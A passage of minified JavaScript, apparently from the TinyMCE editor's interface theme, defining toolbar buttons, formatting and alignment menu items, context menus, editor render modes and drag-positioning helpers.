Yo(Y_(t,{toolbarButtonBehaviours:[Dg.config({}),Rg.config({toggleClass:"tox-tbtn--enabled",aria:{mode:"pressed"},toggleOnExecute:!1})].concat(0<n.length?[mm("toolbarToggleButtonWith",n)]:[]),getApi:W_,onSetup:t.onSetup},e))},ET=[{name:"history",items:["undo","redo"]},{name:"styles",items:["styleselect"]},{name:"formatting",items:["bold","italic"]},{name:"alignment",items:["alignleft","aligncenter","alignright","alignjustify"]},{name:"indentation",items:["outdent","indent"]},{name:"permanent pen",items:["permanentpen"]},{name:"comments",items:["addcomment"]}],DT={button:q_(Ch,function(t,e){return n=e.backstage.shared.providers,_T(t,n,[]);var n}),togglebutton:q_(Oh,function(t,e){return n=e.backstage.shared.providers,TT(t,n,[]);var n}),menubutton:q_(o1,function(t,e){return Ww(t,"tox-tbtn",e.backstage,vt.none())}),splitbutton:q_(function(t){return ao("SplitButton",JO,t)},function(t,e){return o=t,r=e.backstage.shared,s=Ir("channel-update-split-dropdown-display"),l=Po(st),f={getApi:n,onSetup:o.onSetup},CT.sketch({dom:{tag:"div",classes:["tox-split-button"],attributes:lt({"aria-pressed":!1},G_(o.tooltip,r.providers))},onExecute:function(t){o.onAction(n(t))},onItemExecute:function(t,e,n){},splitDropdownBehaviours:ec([Xb(r.providers.isDisabled),gb(),mm("split-dropdown-events",[Cr(OT,Mg.focus),hb(f,l),vb(f,l)]),hS.config({})]),eventOrder:((i={})[Gi()]=["alloy.base.behaviour","split-dropdown-events"],i),toggleClass:"tox-tbtn--enabled",lazySink:r.getSink,fetch:(u=n,a=o,c=r.providers,function(e){return jx(function(t){return a.fetch(t)}).map(function(t){return vt.from(Gy(Yo(Cy(Ir("menu-value"),t,function(t){a.onItemAction(u(e),t)},a.columns,a.presets,wv.CLOSE_ON_EXECUTE,a.select.getOr(T),c),{movement:Oy(a.columns,a.presets),menuBehaviours:qv("auto"!==a.columns?[]:[ou(function(o,t){uv(o,4,Kh(a.presets)).each(function(t){var e=t.numRows,n=t.numColumns;Tg.setGridSize(o,e,n)})})])})))})}),parts:{menu:Qh(0,o.columns,o.presets)},components:[CT.parts.button(X_(o.icon,o.text,vt.none(),vt.some(s),vt.some([Rg.config({toggleClass:"tox-tbtn--enabled",toggleOnExecute:!1})]),r.providers)),CT.parts.arrow({dom:{tag:"button",classes:["tox-tbtn","tox-split-button__chevron"],innerHtml:uh("chevron-down",r.providers.icons)},buttonBehaviours:ec([Xb(r.providers.isDisabled),gb(),ah()])}),CT.parts["aria-descriptor"]({text:r.providers.translate("To open the popup, press Shift+Enter")})]});function n(n){return{isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(t){return gd.set(n,t)},setIconFill:function(t,e){Iu(n.element,'svg path[id="'+t+'"], rect[id="'+t+'"]').each(function(t){oe(t,"fill",e)})},setIconStroke:function(t,e){Iu(n.element,'svg path[id="'+t+'"], rect[id="'+t+'"]').each(function(t){oe(t,"stroke",e)})},setActive:function(e){oe(n.element,"aria-pressed",e),Iu(n.element,"span").each(function(t){n.getSystem().getByDom(t).each(function(t){return Rg.set(t,e)})})},isActive:function(){return Iu(n.element,"span").exists(function(t){return n.getSystem().getByDom(t).exists(Rg.isOn)})}}}var o,r,i,u,a,c,s,l,f}),grouptoolbarbutton:q_(function(t){return ao("GroupToolbarButton",YO,t)},function(t,e,n){var o,r,i,u,a,c,s=n.ui.registry.getAll().buttons,l=((o={})[ns]=e.backstage.shared.header.isPositionedAtTop()?Oc.TopToBottom:Oc.BottomToTop,o);if(rb(n)!==vv.floating)throw new Error("Toolbar groups are only supported when using floating toolbar mode");return i=e.backstage,u=function(t){return BT(n,{buttons:s,toolbar:t,allowToolbarGroups:!1},e,vt.none())},a=l,c=i.shared,h_.sketch({lazySink:c.getSink,fetch:function(){return jx(function(t){t(B(u(r.items),F1))})},markers:{toggledClass:"tox-tbtn--enabled"},parts:{button:X_((r=t).icon,r.text,r.tooltip,vt.none(),vt.none(),c.providers),toolbar:{dom:{tag:"div",classes:["tox-toolbar__overflow"],attributes:a}}}})}),styleSelectButton:function(t,e){return Y1(t,n=e.backstage,U_(t,lt({type:"advanced"},n.styleselect)));var n},fontsizeSelectButton:function(t,e){return Y1(t,e.backstage,H_(t))},fontSelectButton:function(t,e){return Y1(t,e.backstage,V_(t))},formatButton:function(t,e){return Y1(t,e.backstage,z_(t))},alignMenuButton:function(t,e){return Y1(t,e.backstage,N_(t))}},AT={styleselect:DT.styleSelectButton,fontsizeselect:DT.fontsizeSelectButton,fontselect:DT.fontSelectButton,formatselect:DT.formatButton,align:DT.alignMenuButton},BT=function(o,c,s,l){var n,t,e,r,i=(e=c.toolbar,r=c.buttons,!1===e?[]:void 0===e||!0===e?(n=r,t=B(ET,function(t){var e=F(t.items,function(t){return Tt(n,t)||Tt(AT,t)});return{name:t.name,items:e}}),F(t,function(t){return 0<t.items.length})):y(e)?B(e.split("|"),function(t){return{items:t.trim().split(" ")}}):f(e,function(t){return Tt(t,"name")&&Tt(t,"items")})?e:(console.error("Toolbar type should be string, string[], boolean or ToolbarGroup[]"),[]));return F(B(i,function(t){var e=H(t.items,function(t){return 0===t.trim().length?[]:(r=o,e=c.buttons,i=t,u=c.allowToolbarGroups,a=s,n=l,tt(e,i.toLowerCase()).orThunk(function(){return n.bind(function(t){return K(t,function(t){return tt(e,t+i.toLowerCase())})})}).fold(function(){return tt(AT,i.toLowerCase()).map(function(t){return t(r,a)}).orThunk(function(){return vt.none()})},function(t){return"grouptoolbarbutton"!==t.type||u?(n=a,o=r,tt(DT,(e=t).type).fold(function(){return console.error("skipping button defined by",e),vt.none()},function(t){return vt.some(t(e,n,o))})):(console.warn("Ignoring the '"+i+"' toolbar button. Group toolbar buttons are only supported when using floating toolbar mode and cannot be nested."),vt.none());var e,n,o}).toArray());var r,e,i,u,a,n});return{title:vt.from(o.translate(t.name)),items:e}}),function(t){return 0<t.items.length})},MT=ln(),FT=MT.os.isiOS()&&MT.os.version.major<=12,IT=Object.freeze({__proto__:null,render:function(n,e,t,o,r){var i=Po(0),u=e.outerContainer;F_(n);var a=Mt.fromDom(r.targetNode),c=te(gn(a)),s=e.mothership;pf(a,s,De),Ls(c,e.uiMothership),n.on("PostRender",function(){K_(n,e,t,o),i.set(n.getWin().innerWidth),B_.setMenubar(u,V1(n,t)),B_.setSidebar(u,t.sidebar),function(n,t){function e(){var t=c.get();t.left===u.innerWidth&&t.top===u.innerHeight||(c.set(kn(u.innerWidth,u.innerHeight)),zb(n))}function o(){var t=n.getDoc().documentElement,e=s.get();e.left===t.offsetWidth&&e.top===t.offsetHeight||(s.set(kn(t.offsetWidth,t.offsetHeight)),zb(n))}function r(t){return n.fire("ScrollContent",t)}var i=n.dom,u=n.getWin(),a=n.getDoc().documentElement,c=Po(kn(u.innerWidth,u.innerHeight)),s=Po(kn(a.offsetWidth,a.offsetHeight));i.bind(u,"resize",e),i.bind(u,"scroll",r);var l=hc(Mt.fromDom(n.getBody()),"load",o),f=t.uiMothership.element;n.on("hide",function(){fe(f,"display","none")}),n.on("show",function(){ve(f,"display")}),n.on("NodeChange",o),n.on("remove",function(){l.unbind(),i.unbind(u,"resize",e),i.unbind(u,"scroll",r),u=null})}(n,e)});var l,f,d,m,g=B_.getSocket(u).getOrDie("Could not find expected socket element");FT&&(de(g.element,{overflow:"scroll","-webkit-overflow-scrolling":"touch"}),f=function(){n.fire("ScrollContent")},d=null,m=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];b(d)&&(d=setTimeout(function(){d=null,f.apply(null,t)},20))},l=pc(g.element,"scroll",m),n.on("remove",l.unbind)),mb(n,e),n.addCommand("ToggleSidebar",function(t,e){B_.toggleSidebar(u,e),n.fire("ToggleSidebar")}),n.addQueryValueHandler("ToggleSidebar",function(){return B_.whichSidebar(u)});var p=rb(n);p!==vv.sliding&&p!==vv.floating||n.on("ResizeWindow ResizeEditor ResizeContent",function(){var t=n.getWin().innerWidth;t!==i.get()&&(B_.refreshToolbar(e.outerContainer),i.set(t))});var h={enable:function(){db(e,!1)},disable:function(){db(e,!0)},isDisabled:function(){return gd.isDisabled(u)}};return{iframeContainer:g.element.dom,editorContainer:u.element.dom,api:h}}}),RT=Object.freeze({__proto__:null,render:function(e,n,o,r,t){var i=n.mothership,u=n.uiMothership,a=n.outerContainer,c=Po(null),s=Mt.fromDom(t.targetNode),l=tT(e,s,n,r,c),f=e.getParam("toolbar_persist",!1,"boolean");function d(){var t;c.get()?l.show():(c.set(B_.getHeader(a).getOrDie()),Ls(t=sb(e),i),Ls(t,u),K_(e,n,o,r),B_.setMenubar(a,V1(e,o)),l.show(),function(c,s,l,t){function e(t){var e=eT(s,l.isPositionedAtTop()),n=e.pos,o=e.bounds,r=f.get(),i=r.pos,u=r.bounds,a=o.height!==u.height||o.width!==u.width;f.set({pos:n,bounds:o}),a&&zb(c,t),l.isVisible()&&(i!==n?l.update(!0):a&&(l.updateMode(),l.repositionPopups()))}var f=Po(eT(s,l.isPositionedAtTop()));t||(c.on("activate",l.show),c.on("deactivate",l.hide)),c.on("SkinLoaded ResizeWindow",function(){return l.update(!0)}),c.on("NodeChange keydown",function(t){rp.requestAnimationFrame(function(){return e(t)})}),c.on("ScrollWindow",function(){return l.updateMode()});var n=mc();n.set(hc(Mt.fromDom(c.getBody()),"load",e)),c.on("remove",function(){n.clear()})}(e,s,l,f),e.nodeChanged())}I_(e),e.on("show",d),e.on("hide",l.hide),f||(e.on("focus",d),e.on("blur",l.hide)),e.on("init",function(){(e.hasFocus()||f)&&d()}),mb(e,n);var m={show:function(){l.show()},hide:function(){l.hide()},enable:function(){db(n,!1)},disable:function(){db(n,!0)},isDisabled:function(){return gd.isDisabled(a)}};return{editorContainer:a.element.dom,api:m}}}),NT="contexttoolbar-hide",PT=function(t,e){var n,o,r,i,u=t.label.fold(function(){return{}},function(t){return{"aria-label":t}}),a=Lm(Ex.sketch({inputClasses:["tox-toolbar-textfield","tox-toolbar-nav-js"],data:t.initValue(),inputAttributes:u,selectOnFocus:!0,inputBehaviours:ec([Tg.config({mode:"special",onEnter:function(t){return c.findPrimary(t).map(function(t){return yr(t),!0})},onLeft:function(t,e){return e.cut(),vt.none()},onRight:function(t,e){return e.cut(),vt.none()}})])})),c=(n=a,o=t.commands,r=e,i=B(o,function(t){return Lm(("contextformtogglebutton"===t.type?function(t,e,n){var o=e.original;o.primary;var r=A(o,["primary"]),i=co(Oh(lt(lt({},r),{type:"togglebutton",onAction:st})));return TT(i,n.backstage.shared.providers,[nT(t,e)])}:function(t,e,n){var o=e.original;o.primary;var r=A(o,["primary"]),i=co(Ch(lt(lt({},r),{type:"button",onAction:st})));return _T(i,n.backstage.shared.providers,[nT(t,e)])})(n,t,{backstage:{shared:{providers:r}}}))}),{asSpecs:function(){return B(i,function(t){return t.asSpec()})},findPrimary:function(n){return K(o,function(t,e){return t.primary?vt.from(i[e]).bind(function(t){return t.getOpt(n)}).filter(O(gd.isDisabled)):vt.none()})}});return[{title:vt.none(),items:[a.asSpec()]},{title:vt.none(),items:c.asSpecs()}]},VT={valignCentre:[],alignCentre:[],alignLeft:["tox-pop--align-left"],alignRight:["tox-pop--align-right"],right:["tox-pop--right"],left:["tox-pop--left"],bottom:["tox-pop--bottom"],top:["tox-pop--top"],inset:["tox-pop--inset"]},HT={maxHeightFunction:Nc(),maxWidthFunction:m_()},LT=Ir("forward-slide"),zT=Ir("backward-slide"),UT=Ir("change-slide-event"),jT="tox-pop--resizing",WT="tox-pop--transition",GT={unsupportedLength:["em","ex","cap","ch","ic","rem","lh","rlh","vw","vh","vi","vb","vmin","vmax","cm","mm","Q","in","pc","pt","px"],fixed:["px","pt"],relative:["%"],empty:[""]},XT=(gT=["Infinity",(dT="[0-9]+")+"\\."+YT(dT)+YT(mT="[eE][+-]?[0-9]+"),"\\."+dT+YT(mT),dT+YT(mT)].join("|"),new RegExp("^([+-]?(?:"+gT+"))(.*)$"));function YT(t){return"(?:"+t+")?"}function qT(u,a){function e(){var t=a.getOptions(u),r=a.getCurrent(u).map(a.hash),i=gc();return B(t,function(o){return{type:"togglemenuitem",text:a.display(o),onSetup:function(e){function t(t){t&&(i.on(function(t){return t.setActive(!1)}),i.set(e)),e.setActive(t)}t(mt(r,a.hash(o)));var n=a.watcher(u,o,t);return function(){i.clear(),n()}},onAction:function(){return a.setCurrent(u,o)}}})}u.ui.registry.addMenuButton(a.name,{tooltip:a.text,icon:a.icon,fetch:function(t){return t(e())},onSetup:a.onToolbarSetup}),u.ui.registry.addNestedMenuItem(a.name,{type:"nestedmenuitem",text:a.text,getSubmenuItems:e,onSetup:a.onMenuSetup})}function KT(t,e){return function(){t.execCommand("mceToggleFormat",!1,e)}}function JT(t){var e,n;!function(n){lk.each([{name:"bold",text:"Bold",icon:"bold"},{name:"italic",text:"Italic",icon:"italic"},{name:"underline",text:"Underline",icon:"underline"},{name:"strikethrough",text:"Strikethrough",icon:"strike-through"},{name:"subscript",text:"Subscript",icon:"subscript"},{name:"superscript",text:"Superscript",icon:"superscript"}],function(t,e){n.ui.registry.addToggleButton(t.name,{tooltip:t.text,icon:t.icon,onSetup:U1(n,t.name),onAction:KT(n,t.name)})});for(var t=1;t<=6;t++){var e="h"+t;n.ui.registry.addToggleButton(e,{text:e.toUpperCase(),tooltip:"Heading "+t,onSetup:U1(n,e),onAction:KT(n,e)})}}(t),e=t,lk.each([{name:"cut",text:"Cut",action:"Cut",icon:"cut"},{name:"copy",text:"Copy",action:"Copy",icon:"copy"},{name:"paste",text:"Paste",action:"Paste",icon:"paste"},{name:"help",text:"Help",action:"mceHelp",icon:"help"},{name:"selectall",text:"Select all",action:"SelectAll",icon:"select-all"},{name:"newdocument",text:"New document",action:"mceNewDocument",icon:"new-document"},{name:"removeformat",text:"Clear formatting",action:"RemoveFormat",icon:"remove-formatting"},{name:"remove",text:"Remove",action:"Delete",icon:"remove"}],function(t){e.ui.registry.addButton(t.name,{tooltip:t.text,icon:t.icon,onAction:G1(e,t.action)})}),n=t,lk.each([{name:"blockquote",text:"Blockquote",action:"mceBlockQuote",icon:"quote"}],function(t){n.ui.registry.addToggleButton(t.name,{tooltip:t.text,icon:t.icon,onAction:G1(n,t.action),onSetup:U1(n,t.name)})})}function $T(e,n){return j1(e,"Undo Redo AddUndo TypingUndo ClearUndos SwitchMode",function(t){t.setDisabled(e.mode.isReadOnly()||!e.undoManager[n]())})}function QT(t){var e;t.ui.registry.addButton("visualaid",{tooltip:"Visual aids",text:"Visual aids",onAction:G1(t,"mceToggleVisualAid")}),t.ui.registry.addToggleMenuItem("visualaid",{text:"Visual aids",onSetup:j1(e=t,"VisualAid",function(t){t.setActive(e.hasVisual)}),onAction:G1(t,"mceToggleVisualAid")})}function ZT(t,e){var n,o,r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k,C,O,_,T=t;St([{name:"alignleft",text:"Align left",cmd:"JustifyLeft",icon:"align-left"},{name:"aligncenter",text:"Align center",cmd:"JustifyCenter",icon:"align-center"},{name:"alignright",text:"Align right",cmd:"JustifyRight",icon:"align-right"},{name:"alignjustify",text:"Justify",cmd:"JustifyFull",icon:"align-justify"}],function(t){T.ui.registry.addToggleButton(t.name,{tooltip:t.text,icon:t.icon,onAction:G1(T,t.cmd),onSetup:U1(T,t.name)})}),T.ui.registry.addButton("alignnone",{tooltip:"No alignment",icon:"align-none",onAction:G1(T,"JustifyNone")}),JT(O=t),_=O,lk.each([{name:"bold",text:"Bold",action:"Bold",icon:"bold",shortcut:"Meta+B"},{name:"italic",text:"Italic",action:"Italic",icon:"italic",shortcut:"Meta+I"},{name:"underline",text:"Underline",action:"Underline",icon:"underline",shortcut:"Meta+U"},{name:"strikethrough",text:"Strikethrough",action:"Strikethrough",icon:"strike-through",shortcut:""},{name:"subscript",text:"Subscript",action:"Subscript",icon:"subscript",shortcut:""},{name:"superscript",text:"Superscript",action:"Superscript",icon:"superscript",shortcut:""},{name:"removeformat",text:"Clear formatting",action:"RemoveFormat",icon:"remove-formatting",shortcut:""},{name:"newdocument",text:"New document",action:"mceNewDocument",icon:"new-document",shortcut:""},{name:"cut",text:"Cut",action:"Cut",icon:"cut",shortcut:"Meta+X"},{name:"copy",text:"Copy",action:"Copy",icon:"copy",shortcut:"Meta+C"},{name:"paste",text:"Paste",action:"Paste",icon:"paste",shortcut:"Meta+V"},{name:"selectall",text:"Select all",action:"SelectAll",icon:"select-all",shortcut:"Meta+A"}],function(t){_.ui.registry.addMenuItem(t.name,{text:t.text,icon:t.icon,shortcut:t.shortcut,onAction:G1(_,t.action)})}),_.ui.registry.addMenuItem("codeformat",{text:"Code",icon:"sourcecode",onAction:KT(_,"code")}),C=X1(0,d=l=e,N_(f=s=t)),f.ui.registry.addNestedMenuItem("align",{text:d.shared.providers.translate("Align"),getSubmenuItems:function(){return C.items.validateItems(C.getStyleItems())}}),p=X1(0,g=l,V_(m=s)),m.ui.registry.addNestedMenuItem("fontformats",{text:g.shared.providers.translate("Fonts"),getSubmenuItems:function(){return p.items.validateItems(p.getStyleItems())}}),h=s,b=lt({type:"advanced"},(v=l).styleselect),y=X1(0,v,U_(h,b)),h.ui.registry.addNestedMenuItem("formats",{text:"Formats",getSubmenuItems:function(){return y.items.validateItems(y.getStyleItems())}}),w=X1(0,l,z_(x=s)),x.ui.registry.addNestedMenuItem("blockformats",{text:"Blocks",getSubmenuItems:function(){return w.items.validateItems(w.getStyleItems())}}),k=X1(0,l,H_(S=s)),S.ui.registry.addNestedMenuItem("fontsizes",{text:"Font sizes",getSubmenuItems:function(){return k.items.validateItems(k.getStyleItems())}}),(a=u=t).ui.registry.addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onSetup:$T(a,"hasUndo"),onAction:G1(a,"undo")}),a.ui.registry.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onSetup:$T(a,"hasRedo"),onAction:G1(a,"redo")}),(c=u).ui.registry.addButton("undo",{tooltip:"Undo",icon:"undo",disabled:!0,onSetup:$T(c,"hasUndo"),onAction:G1(c,"undo")}),c.ui.registry.addButton("redo",{tooltip:"Redo",icon:"redo",disabled:!0,onSetup:$T(c,"hasRedo"),onAction:G1(c,"redo")}),function(t){var i;(i=t).addCommand("mceApplyTextcolor",function(t,e){var n,o=t,r=e;(n=i).undoManager.transact(function(){n.focus(),n.formatter.apply(o,{value:r}),n.nodeChanged()})}),i.addCommand("mceRemoveTextcolor",function(t){var e,n=t;(e=i).undoManager.transact(function(){e.focus(),e.formatter.remove(n,{value:null},null,!0),e.nodeChanged()})});var e=Po(My),n=Po(My);Sy(t,"forecolor","forecolor","Text color",e),Sy(t,"backcolor","hilitecolor","Background color",n),ky(t,"forecolor","forecolor","Text color"),ky(t,"backcolor","hilitecolor","Background color")}(t),QT(t),(r=t).ui.registry.addButton("outdent",{tooltip:"Decrease indent",icon:"outdent",onSetup:j1(i=r,"NodeChange",function(t){t.setDisabled(!i.queryCommandState("outdent"))}),onAction:G1(r,"outdent")}),r.ui.registry.addButton("indent",{tooltip:"Increase indent",icon:"indent",onAction:G1(r,"indent")}),qT(n=t,VE),o=n,vt.from(o.getParam("content_langs",void 0,"array")).map(function(t){return{name:"language",text:"Language",icon:"language",getOptions:rt(t),hash:function(t){return E(t.customCode)?t.code:t.code+"/"+t.customCode},display:function(t){return t.title},watcher:function(t,e,n){return t.formatter.formatChanged("lang",n,!1,{value:e.code,customValue:e.customCode}).unbind},getCurrent:function(t){return mr(Mt.fromDom(t.selection.getNode()),function(t){return vt.some(t).filter(Ge).bind(function(e){return ue(e,"lang").map(function(t){return{code:t,customCode:ue(e,"data-mce-lang").getOrUndefined(),title:""}})})})},setCurrent:function(t,e){return t.execCommand("Lang",!1,e)},onToolbarSetup:function(t){var e=mc();return t.setActive(o.formatter.match("lang",{},void 0,!0)),e.set(o.formatter.formatChanged("lang",t.setActive,!0)),e.clear}}}).each(function(t){return qT(n,t)})}function tE(t,e){return{type:"makeshift",x:t,y:e}}function eE(t){return"longpress"===t.type||0===t.type.indexOf("touch")}function nE(t,e){return"contextmenu"===e.type||"longpress"===e.type?t.inline?function(t){if(eE(t)){var e=t.touches[0];return tE(e.pageX,e.pageY)}return tE(t.pageX,t.pageY)}(e):(n=t.getContentAreaContainer(),o=function(t){if(eE(t)){var e=t.touches[0];return tE(e.clientX,e.clientY)}return tE(t.clientX,t.clientY)}(e),r=eb.DOM.getPos(n),i=r.x,u=r.y,tE(o.x+i,o.y+u)):HE(t);var n,o,r,i,u}function oE(t,e,n){switch(n){case"node":return{type:"node",node:vt.some(Mt.fromDom((o=t).selection.getNode())),root:Mt.fromDom(o.getBody())};case"point":return nE(t,e);case"selection":return HE(t)}var o}function rE(f,d,m,g,p,h){function t(){var e,n,t,o,r,i,u,a,c,s,l=m();t=l,o=g,r=p,u=!(y||v||b&&x),c=oE(e=f,n=d,a=i=h),s=lt({bubble:Sc(0,"point"===a?12:0,zE),layouts:LE,overrides:{maxWidthFunction:m_(),maxHeightFunction:Nc()}},c),Uw(t,wv.CLOSE_ON_EXECUTE,o,!0).map(function(t){n.preventDefault(),tp.showMenuWithinBounds(r,{anchor:s},{menu:{markers:$h("normal"),highlightImmediately:u},data:t,type:"horizontal"},function(){return vt.some(iT(e,o.shared,"node"===i?"node":"selection"))}),e.fire(NT)})}var e,n=ln(),v=n.os.isiOS(),b=n.os.isOSX(),y=n.os.isAndroid(),x=n.deviceType.isTouch();(b||v)&&"node"!==h?(e=function(){(function(t){function e(){rp.setEditorTimeout(t,function(){t.selection.setRng(n)},10),i()}var n=t.selection.getRng();function o(t){t.preventDefault(),t.stopImmediatePropagation()}function r(){return i()}t.once("touchend",e),t.on("mousedown",o,!0),t.once("longpresscancel",r);var i=function(){t.off("touchend",e),t.off("longpresscancel",r),t.off("mousedown",o)}})(f),t()},function(t,e){var n=t.selection;if(!(n.isCollapsed()||e.touches.length<1)){var o=e.touches[0],r=n.getRng();return xs(t.getWin(),ms.domRange(r)).exists(function(t){return t.left<=o.clientX&&t.right>=o.clientX&&t.top<=o.clientY&&t.bottom>=o.clientY})}}(f,d)?e():(f.once("selectionchange",e),f.once("touchend",function(){return f.off("selectionchange",e)}))):t()}function iE(t){return"string"==typeof t?t.split(/[ ,]/):t}function uE(t){return t.getParam("contextmenu_never_use_native",!1,"boolean")}function aE(t){return y(t)?"|"===t:"separator"===t.type}function cE(t,e){if(0===e.length)return t;var n=q(t).filter(function(t){return!aE(t)}).fold(function(){return[]},function(t){return[UE]});return t.concat(n).concat(e).concat([UE])}function sE(t,e){return"longpress"!==e.type&&(2!==e.button||e.target===t.getBody()&&""===e.pointerType)}function lE(t,e){return sE(t,e)?t.selection.getStart(!0):e.target}function fE(s,t,e){function n(t){return tp.hide(i)}function o(c){var t;uE(s)&&c.preventDefault(),c.ctrlKey&&!uE(s)||!1===s.getParam("contextmenu")||(t=function(t,e){var n=t.getParam("contextmenu_avoid_overlap","","string"),o=sE(t,e)?"selection":"point";if(at(n)){var r=lE(t,e);return Xy(Mt.fromDom(r),n)?"node":o}return o}(s,c),(r()?rE:function(t,e,n,o,r,i){var u=n(),a=oE(t,e,i);Uw(u,wv.CLOSE_ON_EXECUTE,o,!1).map(function(t){e.preventDefault(),tp.showMenuAt(r,{anchor:a},{menu:{markers:$h("normal")},data:t})})})(s,c,function(){var t,e,n,o=lE(s,c),r=s.ui.registry.getAll(),i=(n=(e=s).ui.registry.getAll().contextMenus,vt.from(e.getParam("contextmenu")).map(iE).getOrThunk(function(){return F(iE("link linkchecker image imagetools table spellchecker configurepermanentpen"),function(t){return Tt(n,t)})})),u=r.contextMenus,a=o;return 0<(t=R(i,function(o,t){return tt(u,t.toLowerCase()).map(function(t){var e=t.update(a);if(y(e))return cE(o,e.split(" "));if(0<e.length){var n=B(e,jE);return cE(o,n)}return o}).getOrThunk(function(){return o.concat([t])})},[])).length&&aE(t[t.length-1])&&t.pop(),t},e,i,t))}var r=ln().deviceType.isTouch,i=Tu(tp.sketch({dom:{tag:"div"},lazySink:t,onEscape:function(){return s.focus()},onShow:function(){return e.setContextMenuState(!0)},onHide:function(){return e.setContextMenuState(!1)},fireDismissalEventInstead:{},inlineBehaviours:ec([mm("dismissContextMenu",[Cr(Yi(),function(t,e){bf.close(t),s.focus()})])])}));s.on("init",function(){var t="ResizeEditor ScrollContent ScrollWindow longpresscancel"+(r()?"":" ResizeWindow");s.on(t,n),s.on("longpress contextmenu",o)})}function dE(e){return function(t){return t.translate(-e.left,-e.top)}}function mE(e){return function(t){return t.translate(e.left,e.top)}}function gE(n){return function(t,e){return R(n,function(t,e){return e(t)},kn(t,e))}}function pE(t,e,n){return t.fold(gE([mE(n),dE(e)]),gE([dE(e)]),gE([]))}function hE(t,e,n){return t.fold(gE([mE(n)]),gE([]),gE([mE(e)]))}function vE(t,e,n){return t.fold(gE([]),gE([dE(n)]),gE([mE(e),dE(n)]))}function bE(t,e,n){var o=t.fold(function(t,e){return{position:vt.some("absolute"),left:vt.some(t+"px"),top:vt.some(e+"px")}},function(t,e){return{position:vt.some("absolute"),left:vt.some(t-n.left+"px"),top:vt.some(e-n.top+"px")}},function(t,e){return{position:vt.some("fixed"),left:vt.some(t+"px"),top:vt.some(e+"px")}});return lt({right:vt.none(),bottom:vt.none()},o)}function yE(t,i,u,a){function e(o,r){return function(t,e){var n=o(i,u,a);return r(t.getOr(n.left),e.getOr(n.top))}}return t.fold(e(vE,GE),e(hE,XE),e(pE,YE))}function xE(t,e){var n=ie(t,e);return E(n)?NaN:parseInt(n,10)}function wE(t,e,n,o,r,i){var u,a,c,s,l,f,d=(u=n,a=o,l=xE(s=t.element,(c=e).leftAttr),f=xE(s,c.topAttr),(isNaN(l)||isNaN(f)?vt.none():vt.some(kn(l,f))).fold(function(){return u},function(t){return YE(t.left+a.left,t.top+a.top)})),m=(e.mustSnap?qE:KE)(t,e,d,r,i),g=pE(d,r,i),p=e,h=g,v=t.element;return oe(v,p.leftAttr,h.left+"px"),oe(v,p.topAttr,h.top+"px"),m.fold(function(){return{coord:YE(g.left,g.top),extra:vt.none()}},function(t){return{coord:t.output,extra:t.extra}})}function SE(t,c,s,l){return K(t,function(t){var e,n,o=t.sensor,r=t.range.left,i=t.range.top,u=hE(c,e=s,n=l),a=hE(o,e,n);return Math.abs(u.left-a.left)<=r&&Math.abs(u.top-a.top)<=i?vt.some({output:yE(t.output,c,s,l),extra:t.extra}):vt.none()})}function kE(t,e){var n;t.getSystem().addToGui(e),Yt((n=e).element).filter(Ge).each(function(e){pe(e,"z-index").each(function(t){oe(e,$E,t)}),fe(e,"z-index",ge(n.element,"z-index"))})}function CE(t){Yt(t.element).filter(Ge).each(function(e){ue(e,$E).fold(function(){return ve(e,"z-index")},function(t){return fe(e,"z-index",t)}),ce(e,$E)}),t.getSystem().removeFromGui(t)}function OE(t,e,n){return t.getSystem().build(sx.sketch({dom:{styles:{left:"0px",top:"0px",width:"100%",height:"100%",position:"fixed","z-index":"1000000000000000"},classes:[e]},events:n}))}function _E(t,e){return{bounds:t.getBounds(),height:we(e.element),width:Oe(e.element)}}function TE(A,B,t,e,n){var o=t.update(e,n),M=t.getStartData().getOrThunk(function(){return _E(B,A)});o.each(function(t){var e,n,o,r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k,C,O,_=A,T=M,E=t,D=(e=B).getTarget(_.element);e.repositionTarget&&(n=Ie(jt(_.element)),o=zC(D),S=pe(w=D,"left"),k=pe(w,"top"),C=pe(w,"position"),O=function(t,e,n){return("fixed"===n?YE:GE)(parseInt(t,10),parseInt(e,10))},r=(S.isSome()&&k.isSome()&&C.isSome()?vt.some(O(S.getOrDie(),k.getOrDie(),C.getOrDie())):vt.none()).getOrThunk(function(){var t=ke(w);return XE(t.left,t.top)}),i=_,u=e.snaps,a=r,c=n,s=o,l=E,f=T,m=u.fold(function(){var n,o,t=pE((n=l.left,o=l.top,a.fold(function(t,e){return GE(t+n,e+o)},function(t,e){return XE(t+n,e+o)},function(t,e){return YE(t+n,e+o)})),c,s);return YE(t.left,t.top)},function(e){var t=wE(i,e,a,l,c,s);return t.extra.each(function(t){e.onSensor(i,t)}),t.coord}),g=c,p=s,h=(d=f).bounds,v=hE(m,g,p),b=Wa(v.left,h.x,h.x+h.width-d.width),y=Wa(v.top,h.y,h.y+h.height-d.height),x=XE(b,y),me(D,bE(m.fold(function(){var t=vE(x,g,p);return GE(t.left,t.top)},rt(x),function(){var t=pE(x,g,p);return YE(t.left,t.top)}),0,o))),e.onDrag(_,D,E)})}function EE(o,t,e,n){t.each(CE),e.snaps.each(function(t){var e,n;e=t,ce(n=o.element,e.leftAttr),ce(n,e.topAttr)});var r=e.getTarget(o.element);n.reset(),e.onDrop(o,r)}function DE(t){return function(e,n){function o(t){n.setStartData(_E(e,t))}return nu(V([Cr(ji(),function(t){n.getStartData().each(function(){return o(t)})})],t(e,n,o),!0))}}function AE(a,c,s){return[Cr(mi(),function(e,t){var n,o,r,i,u;0===t.event.raw.button&&(t.stop(),r={drop:n=function(){return EE(e,vt.some(i),a,c)},delayDrop:(o=Yy(n,200)).schedule,forceDrop:n,move:function(t){o.cancel(),TE(e,a,c,tD,t)}},i=OE(e,a.blockerClass,(u=r,nu([Cr(mi(),u.forceDrop),Cr(hi(),u.drop),Cr(gi(),function(t,e){u.move(e.event)}),Cr(pi(),u.delayDrop)]))),s(e),kE(e,i))})]}function BE(a,c,s){function l(t){EE(t,f.get(),a,c),f.clear()}var f=gc();return[Cr(si(),function(e,t){function n(){return l(e)}t.stop();var 